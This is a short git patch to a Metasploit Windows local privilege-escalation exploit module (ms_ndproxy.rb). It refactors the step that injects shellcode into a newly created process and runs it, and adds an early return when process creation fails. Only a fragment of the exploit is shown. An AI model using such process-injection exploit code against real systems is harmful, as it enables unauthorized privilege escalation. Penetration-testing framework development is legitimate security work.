From 84759a552acc2eef34a6b6bffc688abe0b127cd5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 16 Dec 2013 16:49:44 -0600 Subject: [PATCH] Save one variable --- modules/exploits/windows/local/ms_ndproxy.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index a4a5cf23ca..d439acf815 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -437,12 +437,11 @@ class Metasploit3 < Msf::Exploit::Local if new_pid.nil? print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...") + return end print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...") - shellcode_executed = execute_shellcode(p, nil, new_pid) - - if shellcode_executed + if execute_shellcode(p, nil, new_pid) print_good("Enjoy") else fail_with(Failure::Unknown, "Error while executing the payload")